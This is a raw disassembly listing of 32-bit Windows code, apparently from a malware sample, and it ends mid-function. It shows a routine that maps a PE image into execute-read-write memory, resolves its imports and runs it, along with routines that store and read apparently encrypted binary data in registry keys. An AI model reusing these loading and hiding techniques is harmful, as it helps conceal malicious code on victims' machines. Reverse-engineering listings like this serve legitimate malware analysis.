; int __cdecl sub_9A81B2(void *Src,int,int,int)

sub_9A81B2	proc near		; CODE XREF: sub_9A89A9+7Fp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hModule		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	edi, [ebp+Src]
		cmp	word ptr [edi],	5A4Dh
		jz	short loc_9A81CA
		xor	eax, eax
		jmp	loc_9A8393
; ---------------------------------------------------------------------------


loc_9A81CA:				; CODE XREF: sub_9A81B2+Fj
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [edi+3Ch]
		add	eax, 0FFFFFFFCh
		cmp	esi, eax
		jbe	short loc_9A81DF


loc_9A81D8:				; CODE XREF: sub_9A81B2+35j
					; sub_9A81B2+3Bj
		xor	eax, eax
		jmp	loc_9A8392
; ---------------------------------------------------------------------------


loc_9A81DF:				; CODE XREF: sub_9A81B2+24j
		add	esi, edi
		cmp	dword ptr [esi], 4550h
		jnz	short loc_9A81D8
		cmp	dword ptr [esi+28h], 0
		jz	short loc_9A81D8
		push	ebx
		push	40h		; flProtect
		push	101000h		; flAllocationType
		push	dword ptr [esi+50h] ; dwSize
		push	0		; lpAddress
		call	VirtualAlloc
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_9A820F


loc_9A8208:				; CODE XREF: sub_9A81B2+1D8j
		xor	eax, eax
		jmp	loc_9A8391
; ---------------------------------------------------------------------------


loc_9A820F:				; CODE XREF: sub_9A81B2+54j
		cmp	[ebp+arg_8], 0
		jz	short loc_9A8254
		push	40h		; Size
		push	edi		; Src
		push	ebx		; Dst
		call	memcpy
		mov	eax, [edi+3Ch]
		push	0F8h		; Size
		add	eax, ebx
		push	esi		; Src
		push	eax		; Dst
		call	memcpy
		movzx	eax, word ptr [esi+6]
		lea	eax, [eax+eax*4]
		shl	eax, 3
		push	eax		; Size
		lea	eax, [esi+0F8h]
		push	eax		; Src
		mov	eax, [edi+3Ch]
		lea	eax, [eax+ebx+0F8h]
		push	eax		; Dst
		call	memcpy
		add	esp, 24h


loc_9A8254:				; CODE XREF: sub_9A81B2+61j
		and	[ebp+var_4], 0
		cmp	word ptr [esi+6], 0
		jbe	short loc_9A828B
		lea	edi, [esi+10Ch]


loc_9A8265:				; CODE XREF: sub_9A81B2+D7j
		mov	eax, [edi]
		add	eax, [ebp+Src]
		push	dword ptr [edi-0Ch] ; Size
		push	eax		; Src
		mov	eax, [edi-8]
		add	eax, ebx
		push	eax		; Dst
		call	memcpy
		movzx	eax, word ptr [esi+6]
		add	esp, 0Ch
		inc	[ebp+var_4]
		add	edi, 28h
		cmp	[ebp+var_4], eax
		jb	short loc_9A8265


loc_9A828B:				; CODE XREF: sub_9A81B2+ABj
		mov	eax, [esi+0A0h]
		mov	edx, ebx
		sub	edx, [esi+34h]
		jz	short loc_9A82A0
		test	eax, eax
		jz	loc_9A837C


loc_9A82A0:				; CODE XREF: sub_9A81B2+E4j
		add	eax, ebx
		cmp	dword ptr [esi+0A4h], 0
		mov	[ebp+var_C], eax
		jbe	short loc_9A82EB


loc_9A82AE:				; CODE XREF: sub_9A81B2+137j
		mov	ecx, [eax+4]
		sub	ecx, 8
		shr	ecx, 1
		lea	edi, [eax+8]
		jz	short loc_9A82DB
		mov	[ebp+Src], ecx


loc_9A82BE:				; CODE XREF: sub_9A81B2+127j
		xor	ecx, ecx
		mov	cx, [edi]
		test	ch, 0F0h
		jz	short loc_9A82D4
		and	ecx, 0FFFh
		add	ecx, ebx
		add	ecx, [eax]
		add	[ecx], edx


loc_9A82D4:				; CODE XREF: sub_9A81B2+114j
		inc	edi
		inc	edi
		dec	[ebp+Src]
		jnz	short loc_9A82BE


loc_9A82DB:				; CODE XREF: sub_9A81B2+107j
		add	eax, [eax+4]
		mov	ecx, eax
		sub	ecx, [ebp+var_C]
		cmp	ecx, [esi+0A4h]
		jb	short loc_9A82AE


loc_9A82EB:				; CODE XREF: sub_9A81B2+FAj
		lea	eax, [esi+80h]
		test	eax, eax
		jz	short loc_9A836B
		mov	edi, [eax]
		add	edi, ebx
		jmp	short loc_9A8364
; ---------------------------------------------------------------------------


loc_9A82FB:				; CODE XREF: sub_9A81B2+1B7j
		add	eax, ebx
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	[ebp+hModule], eax
		mov	eax, [edi+10h]
		add	eax, ebx
		xor	ecx, ecx
		cmp	[edi+4], ecx
		mov	[ebp+var_10], eax
		jnz	short loc_9A831A
		mov	eax, [edi]
		add	eax, ebx


loc_9A831A:				; CODE XREF: sub_9A81B2+162j
		cmp	[eax], ecx
		mov	[ebp+var_4], eax
		mov	[ebp+Src], ecx
		jz	short loc_9A8361
		mov	[ebp+var_C], ecx


loc_9A8327:				; CODE XREF: sub_9A81B2+1ADj
		mov	eax, [eax]
		test	eax, eax
		jns	short loc_9A8334
		and	eax, 0FFFFh
		jmp	short loc_9A8338
; ---------------------------------------------------------------------------


loc_9A8334:				; CODE XREF: sub_9A81B2+179j
		lea	eax, [eax+ebx+2]


loc_9A8338:				; CODE XREF: sub_9A81B2+180j
		push	eax		; lpProcName
		push	[ebp+hModule]	; hModule
		call	GetProcAddress
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		inc	[ebp+Src]
		mov	[ecx+edx], eax
		mov	eax, [ebp+Src]
		mov	ecx, [ebp+var_4]
		shl	eax, 2
		mov	[ebp+var_C], eax
		add	eax, ecx
		cmp	dword ptr [eax], 0
		jnz	short loc_9A8327


loc_9A8361:				; CODE XREF: sub_9A81B2+170j
		add	edi, 14h


loc_9A8364:				; CODE XREF: sub_9A81B2+147j
		mov	eax, [edi+0Ch]
		test	eax, eax
		jnz	short loc_9A82FB


loc_9A836B:				; CODE XREF: sub_9A81B2+141j
		push	[ebp+arg_C]
		mov	esi, [esi+28h]
		push	1
		add	esi, ebx
		push	ebx
		call	esi
		test	eax, eax
		jnz	short loc_9A838F


loc_9A837C:				; CODE XREF: sub_9A81B2+E8j
		push	8000h		; dwFreeType
		push	0		; dwSize
		push	ebx		; lpAddress
		call	VirtualFree
		jmp	loc_9A8208
; ---------------------------------------------------------------------------


loc_9A838F:				; CODE XREF: sub_9A81B2+1C8j
		mov	eax, ebx


loc_9A8391:				; CODE XREF: sub_9A81B2+58j
		pop	ebx


loc_9A8392:				; CODE XREF: sub_9A81B2+28j
		pop	esi


loc_9A8393:				; CODE XREF: sub_9A81B2+13j
		pop	edi
		leave
		retn
sub_9A81B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8396	proc near		; CODE XREF: sub_9A8462+14p
					; sub_9A8462+2Ep

var_8		= dword	ptr -8
phkResult	= dword	ptr -4
hKey		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	20019h		; samDesired
		xor	edi, edi
		push	edi		; ulOptions
		push	[ebp+lpSubKey]	; lpSubKey
		mov	[ebp+var_8], edi
		push	[ebp+hKey]	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jnz	short loc_9A8413
		push	esi
		mov	esi, RegQueryValueExA
		push	ebx		; lpcbData
		push	edi		; lpData
		push	edi		; lpType
		push	edi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_9A8409
		push	dword ptr [ebx]	; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		cmp	eax, edi
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jz	short loc_9A8409
		push	ebx		; lpcbData
		push	eax		; lpData
		push	edi		; lpType
		push	edi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_9A83FE
		mov	[ebp+var_8], 1
		jmp	short loc_9A8409
; ---------------------------------------------------------------------------


loc_9A83FE:				; CODE XREF: sub_9A8396+5Dj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]	; hMem
		call	GlobalFree


loc_9A8409:				; CODE XREF: sub_9A8396+3Aj
					; sub_9A8396+4Dj ...
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey
		pop	esi


loc_9A8413:				; CODE XREF: sub_9A8396+23j
		mov	eax, [ebp+var_8]
		pop	edi
		leave
		retn
sub_9A8396	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8419(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName,BYTE *lpData,DWORD cbData)

sub_9A8419	proc near		; CODE XREF: sub_9A84A0+15p
					; sub_9A84A0+2Dp

phkResult	= dword	ptr -4
hKey		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
lpData		= dword	ptr  14h
cbData		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	20006h		; samDesired
		xor	esi, esi
		push	esi		; ulOptions
		push	[ebp+lpSubKey]	; lpSubKey
		push	[ebp+hKey]	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jnz	short loc_9A845D
		push	[ebp+cbData]	; cbData
		push	[ebp+lpData]	; lpData
		push	3		; dwType
		push	esi		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	RegSetValueExA
		test	eax, eax
		jnz	short loc_9A8454
		inc	esi


loc_9A8454:				; CODE XREF: sub_9A8419+38j
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey


loc_9A845D:				; CODE XREF: sub_9A8419+1Fj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A8419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8462	proc near		; CODE XREF: sub_9A84E1+17p
					; sub_9A8B47+3Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_8]
		mov	ebx, eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	80000001h
		call	sub_9A8396
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9A849A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	80000002h
		call	sub_9A8396
		add	esp, 10h
		jmp	short loc_9A849D
; ---------------------------------------------------------------------------


loc_9A849A:				; CODE XREF: sub_9A8462+1Ej
		xor	eax, eax
		inc	eax


loc_9A849D:				; CODE XREF: sub_9A8462+36j
		pop	ebx
		pop	ebp
		retn
sub_9A8462	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A84A0(LPCSTR	lpSubKey,LPCSTR	lpValueName,BYTE *lpData,DWORD cbData)

sub_9A84A0	proc near		; CODE XREF: sub_9A8579+75p
					; sub_9A878B+12p

lpSubKey	= dword	ptr  8
lpValueName	= dword	ptr  0Ch
lpData		= dword	ptr  10h
cbData		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+cbData]	; cbData
		push	[ebp+lpData]	; lpData
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+lpSubKey]	; lpSubKey
		push	80000001h	; hKey
		call	sub_9A8419
		push	[ebp+cbData]	; cbData
		mov	esi, eax
		push	[ebp+lpData]	; lpData
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+lpSubKey]	; lpSubKey
		push	80000002h	; hKey
		call	sub_9A8419
		add	esp, 28h
		test	eax, eax
		jz	short loc_9A84DC
		xor	esi, esi
		inc	esi


loc_9A84DC:				; CODE XREF: sub_9A84A0+37j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_9A84A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A84E1	proc near		; CODE XREF: sub_9A8B47+25p

var_10		= dword	ptr -10h
hMem		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+hMem]
		push	eax
		push	(offset	aPurlmon_dll+9)
		push	offset aStance	; "stance"
		lea	eax, [ebp+var_10]
		call	sub_9A8462
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A8507
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_9A8507:				; CODE XREF: sub_9A84E1+21j
		push	esi
		mov	esi, [ebp+hMem]
		mov	eax, [esi]
		lea	ecx, [eax+eax*2]
		lea	ecx, ds:4[ecx*4]
		cmp	[ebp+var_10], ecx
		jz	short loc_9A8520
		xor	eax, eax
		jmp	short loc_9A8576
; ---------------------------------------------------------------------------


loc_9A8520:				; CODE XREF: sub_9A84E1+39j
		and	[ebp+var_8], 0
		test	eax, eax
		jbe	short loc_9A8565
		lea	eax, [esi+4]
		mov	[ebp+var_4], eax
		push	edi


loc_9A852F:				; CODE XREF: sub_9A84E1+81j
		push	14h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		jz	short loc_9A8556
		mov	esi, [ebp+var_4]
		lea	edi, [eax+8]
		movsd
		movsd
		movsd
		mov	ecx, [ebx+4]
		mov	esi, [ebp+hMem]
		mov	[eax], ebx
		mov	[eax+4], ecx
		mov	[ecx], eax
		mov	[ebx+4], eax


loc_9A8556:				; CODE XREF: sub_9A84E1+5Aj
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		add	[ebp+var_4], 0Ch
		cmp	eax, [esi]
		jb	short loc_9A852F
		pop	edi


loc_9A8565:				; CODE XREF: sub_9A84E1+45j
		mov	eax, [esi]
		mov	ecx, [ebp+arg_0]
		push	esi		; hMem
		mov	[ecx], eax
		call	GlobalFree
		xor	eax, eax
		inc	eax


loc_9A8576:				; CODE XREF: sub_9A84E1+3Dj
		pop	esi
		leave
		retn
sub_9A84E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8579	proc near		; CODE XREF: sub_9A8BC6+33p
					; sub_9A8C17+2Dp

cbData		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+esi*2]
		lea	eax, ds:4[eax*4]
		push	eax		; dwBytes
		push	40h		; uFlags
		mov	[ebp+cbData], eax
		call	GlobalAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_9A8602
		mov	edx, [ebp+arg_0]
		mov	[ebx], esi
		mov	eax, [edx]
		push	edi
		lea	esi, [eax+8]
		lea	edi, [ebx+4]
		movsd
		xor	ecx, ecx
		movsd
		inc	ecx
		cmp	[ebp+arg_4], ecx
		movsd
		jbe	short loc_9A85E0
		lea	esi, [ebx+10h]
		mov	[ebp+var_4], esi


loc_9A85BE:				; CODE XREF: sub_9A8579+5Cj
		mov	eax, [eax]
		cmp	eax, edx
		jz	short loc_9A85D9
		mov	edi, [ebp+var_4]
		add	[ebp+var_4], 0Ch
		lea	esi, [eax+8]
		movsd
		movsd
		inc	ecx
		cmp	ecx, [ebp+arg_4]
		movsd
		jb	short loc_9A85BE
		jmp	short loc_9A85E0
; ---------------------------------------------------------------------------


loc_9A85D9:				; CODE XREF: sub_9A8579+49j
		cmp	ecx, [ebp+arg_4]
		jz	short loc_9A85E0
		mov	[ebx], ecx


loc_9A85E0:				; CODE XREF: sub_9A8579+3Dj
					; sub_9A8579+5Ej ...
		push	[ebp+cbData]	; cbData
		push	ebx		; lpData
		push	(offset	aPurlmon_dll+9)	; lpValueName
		push	offset aStance	; "stance"
		call	sub_9A84A0
		add	esp, 10h
		push	ebx		; hMem
		mov	esi, eax
		call	GlobalFree
		mov	eax, esi
		pop	edi


loc_9A8602:				; CODE XREF: sub_9A8579+24j
		pop	esi
		pop	ebx
		leave
		retn
sub_9A8579	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8606(LPFILETIME lpFileTime)

sub_9A8606	proc near		; CODE XREF: sub_9A8625+3Bp
					; sub_9A87A6+9p

SystemTime	= _SYSTEMTIME ptr -10h
lpFileTime	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	GetSystemTime
		push	[ebp+lpFileTime] ; lpFileTime
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	SystemTimeToFileTime
		leave
		retn
sub_9A8606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8625	proc near		; CODE XREF: sub_9A8C17+1Fp

FileTime	= _FILETIME ptr	-8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [esi]
		jmp	short loc_9A8635
; ---------------------------------------------------------------------------


loc_9A862E:				; CODE XREF: sub_9A8625+12j
		cmp	[eax+8], ebx
		jz	short loc_9A863B
		mov	eax, [eax]


loc_9A8635:				; CODE XREF: sub_9A8625+7j
		cmp	eax, esi
		jnz	short loc_9A862E
		xor	eax, eax


loc_9A863B:				; CODE XREF: sub_9A8625+Cj
		test	eax, eax
		jz	short loc_9A865C
		mov	ecx, [eax+4]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	[eax+4], esi
		mov	[esi], eax
		mov	[eax+4], eax
		jmp	short loc_9A8693
; ---------------------------------------------------------------------------


loc_9A865C:				; CODE XREF: sub_9A8625+18j
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		call	sub_9A8606
		pop	ecx
		push	14h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		jnz	short loc_9A8676
		leave
		retn
; ---------------------------------------------------------------------------


loc_9A8676:				; CODE XREF: sub_9A8625+4Dj
		mov	[eax+8], ebx
		mov	ecx, [ebp+FileTime.dwLowDateTime]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+FileTime.dwHighDateTime]
		mov	[eax+10h], ecx
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	[eax+4], esi
		mov	[ecx+4], eax
		mov	[esi], eax
		inc	dword ptr [edi]


loc_9A8693:				; CODE XREF: sub_9A8625+35j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_9A8625	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8698	proc near		; CODE XREF: sub_9A8B47+69p

arg_0		= dword	ptr  4

		push	0Ch		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_9A86BA
		mov	[eax], ecx
		mov	[eax+8], ecx
		mov	[eax+4], ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A86BA:				; CODE XREF: sub_9A8698+Ej
		xor	eax, eax
		retn
sub_9A8698	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A86BD	proc near		; CODE XREF: sub_9A86E4+10p
					; sub_9A89A9+20p

arg_0		= dword	ptr  4

		mov	eax, [edi+10h]
		add	eax, 14h
		push	eax		; dwBytes
		push	40h		; uFlags
		mov	[esi], eax
		call	GlobalAlloc
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		push	dword ptr [esi]	; Size
		push	edi		; Src
		push	eax		; Dst
		call	memcpy
		xor	eax, eax
		add	esp, 0Ch
		inc	eax
		retn
sub_9A86BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A86E4	proc near		; CODE XREF: sub_9A8745+2Ep

Size		= dword	ptr -8
hMem		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		lea	eax, [ebp+hMem]
		push	eax
		lea	esi, [ebp+Size]
		mov	edi, ecx
		call	sub_9A86BD
		test	eax, eax
		pop	ecx
		jz	short loc_9A8741
		mov	esi, [ebp+hMem]
		mov	eax, [esi+10h]
		lea	ecx, [eax-200h]
		push	ecx		; int
		lea	ecx, [esi+14h]
		push	ecx		; int
		lea	eax, [eax+esi-1ECh]
		push	eax		; int
		push	dword_9BAB20	; int
		push	offset dword_9BAB28 ; Src
		call	sub_9AF464
		push	[ebp+Size]	; Size
		movzx	edi, al
		push	0		; Val
		push	esi		; Dst
		call	memset
		add	esp, 20h
		push	esi		; hMem
		call	GlobalFree
		mov	eax, edi


loc_9A8741:				; CODE XREF: sub_9A86E4+18j
		pop	edi
		pop	esi
		leave
		retn
sub_9A86E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8745	proc near		; CODE XREF: sub_9A8AD0+Dp
					; sub_9A8B47+50p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		cmp	[esp+8+arg_0], 0Ch
		jbe	short loc_9A8787
		mov	eax, [edi+4]
		add	eax, 0Ch
		cmp	eax, [esp+8+arg_0]
		jnz	short loc_9A8787
		cmp	[edi], ebx
		jbe	short loc_9A8781


loc_9A8762:				; CODE XREF: sub_9A8745+3Aj
		lea	ecx, [edi+esi+0Ch]
		mov	eax, [ecx+10h]
		lea	esi, [esi+eax+14h]
		cmp	esi, [esp+8+arg_0]
		ja	short loc_9A8787
		call	sub_9A86E4
		test	eax, eax
		jz	short loc_9A8787
		inc	ebx
		cmp	ebx, [edi]
		jb	short loc_9A8762


loc_9A8781:				; CODE XREF: sub_9A8745+1Bj
		xor	eax, eax
		inc	eax


loc_9A8784:				; CODE XREF: sub_9A8745+44j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_9A8787:				; CODE XREF: sub_9A8745+Bj
					; sub_9A8745+17j ...
		xor	eax, eax
		jmp	short loc_9A8784
sub_9A8745	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A878B	proc near		; CODE XREF: sub_9A8AD0+3Fp
					; sub_9A8AD0+58p ...
		mov	ecx, [eax+4]
		add	ecx, 0Ch
		push	ecx		; cbData
		push	eax		; lpData
		push	offset dword_9A2650 ; lpValueName
		push	offset byte_9A261C ; lpSubKey
		call	sub_9A84A0
		add	esp, 10h
		retn
sub_9A878B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A87A6	proc near		; CODE XREF: sub_9A8881+25p
					; sub_9A8881+76p ...

FileTime	= _FILETIME ptr	-8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		call	sub_9A8606
		mov	eax, [ebp+FileTime.dwHighDateTime]
		cmp	eax, [esi+0Ch]
		pop	ecx
		jb	short loc_9A87CC
		ja	short loc_9A87C7
		mov	eax, [ebp+FileTime.dwLowDateTime]
		cmp	eax, [esi+8]
		jbe	short loc_9A87CC


loc_9A87C7:				; CODE XREF: sub_9A87A6+17j
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_9A87CC:				; CODE XREF: sub_9A87A6+15j
					; sub_9A87A6+1Fj
		xor	eax, eax
		leave
		retn
sub_9A87A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A87D0	proc near		; CODE XREF: sub_9A87FB+9p
					; sub_9A8948+22p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [edx]
		push	edi
		xor	edi, edi
		xor	ecx, ecx
		test	esi, esi
		jbe	short loc_9A87F5


loc_9A87DD:				; CODE XREF: sub_9A87D0+23j
		lea	eax, [edx+ecx+0Ch]
		mov	ebx, [eax]
		cmp	ebx, [esp+0Ch+arg_0]
		jz	short loc_9A87F7
		mov	eax, [eax+10h]
		inc	edi
		cmp	edi, esi
		lea	ecx, [ecx+eax+14h]
		jb	short loc_9A87DD


loc_9A87F5:				; CODE XREF: sub_9A87D0+Bj
		xor	eax, eax


loc_9A87F7:				; CODE XREF: sub_9A87D0+17j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9A87D0	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A87FB(void *Src)

sub_9A87FB	proc near		; CODE XREF: sub_9A8881+8Dp
					; sub_9A8948+30p

Src		= dword	ptr  4

		mov	edx, [esi]
		push	edi
		mov	edi, [esp+4+Src]
		push	dword ptr [edi]
		call	sub_9A87D0
		test	eax, eax
		pop	ecx
		jz	short loc_9A8812
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_9A8812:				; CODE XREF: sub_9A87FB+11j
		mov	eax, [edx+4]
		push	ebx
		mov	ebx, [edi+10h]
		add	ebx, 14h
		lea	eax, [eax+ebx+0Ch]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		test	edi, edi
		jz	short loc_9A887E
		mov	eax, [esi]
		mov	eax, [eax]
		inc	eax
		mov	[edi], eax
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	[edi+8], eax
		mov	eax, [esi]
		mov	eax, [eax+4]
		add	eax, ebx
		mov	[edi+4], eax
		mov	eax, [esi]
		push	dword ptr [eax+4] ; Size
		add	eax, 0Ch
		push	eax		; Src
		lea	eax, [edi+0Ch]
		push	eax		; Dst
		call	memcpy
		mov	eax, [esi]
		mov	eax, [eax+4]
		push	ebx		; Size
		push	[esp+18h+Src]	; Src
		lea	eax, [eax+edi+0Ch]
		push	eax		; Dst
		call	memcpy
		add	esp, 18h
		push	dword ptr [esi]	; hMem
		call	GlobalFree
		xor	eax, eax
		mov	[esi], edi
		inc	eax


loc_9A887E:				; CODE XREF: sub_9A87FB+32j
		pop	ebx
		pop	edi
		retn
sub_9A87FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8881	proc near		; CODE XREF: sub_9A8948+54p

hMem		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [edi]
		push	ebx
		xor	ebx, ebx
		cmp	[eax], ebx
		push	esi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_9A88BC


loc_9A8897:				; CODE XREF: sub_9A8881+37j
		mov	eax, [edi]
		mov	ecx, [ebp+var_4]
		lea	esi, [eax+ecx+0Ch]
		mov	ebx, [esi+10h]
		add	ebx, 14h
		call	sub_9A87A6
		add	[ebp+var_4], ebx
		inc	[ebp+var_8]
		mov	eax, [edi]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax]
		jb	short loc_9A8897
		xor	ebx, ebx


loc_9A88BC:				; CODE XREF: sub_9A8881+14j
		push	0Ch		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp+hMem], esi
		jz	short loc_9A8944
		mov	[esi], ebx
		mov	[esi+4], ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi+8], eax
		mov	eax, [edi]
		cmp	[eax], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_9A892A


loc_9A88E8:				; CODE XREF: sub_9A8881+A4j
		mov	eax, [edi]
		mov	ecx, [ebp+var_4]
		lea	esi, [eax+ecx+0Ch]
		mov	ebx, [esi+10h]
		add	ebx, 14h
		call	sub_9A87A6
		test	eax, eax
		jnz	short loc_9A8918
		mov	eax, [edi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jb	short loc_9A8918
		push	esi		; Src
		lea	esi, [ebp+hMem]
		call	sub_9A87FB
		test	eax, eax
		pop	ecx
		jz	short loc_9A893B


loc_9A8918:				; CODE XREF: sub_9A8881+7Dj
					; sub_9A8881+87j
		add	[ebp+var_4], ebx
		inc	[ebp+var_8]
		mov	eax, [edi]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax]
		jb	short loc_9A88E8
		mov	esi, [ebp+hMem]


loc_9A892A:				; CODE XREF: sub_9A8881+65j
		push	dword ptr [edi]	; hMem
		call	GlobalFree
		xor	eax, eax
		mov	[edi], esi
		inc	eax


loc_9A8937:				; CODE XREF: sub_9A8881+C5j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9A893B:				; CODE XREF: sub_9A8881+95j
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A8944:				; CODE XREF: sub_9A8881+4Cj
		xor	eax, eax
		jmp	short loc_9A8937
sub_9A8881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8948	proc near		; CODE XREF: sub_9A8AD0+49p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	[esi], ebx
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_9A8999


loc_9A895F:				; CODE XREF: sub_9A8948+4Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		lea	edi, [esi+ebx+0Ch]
		push	dword ptr [edi]
		call	sub_9A87D0
		test	eax, eax
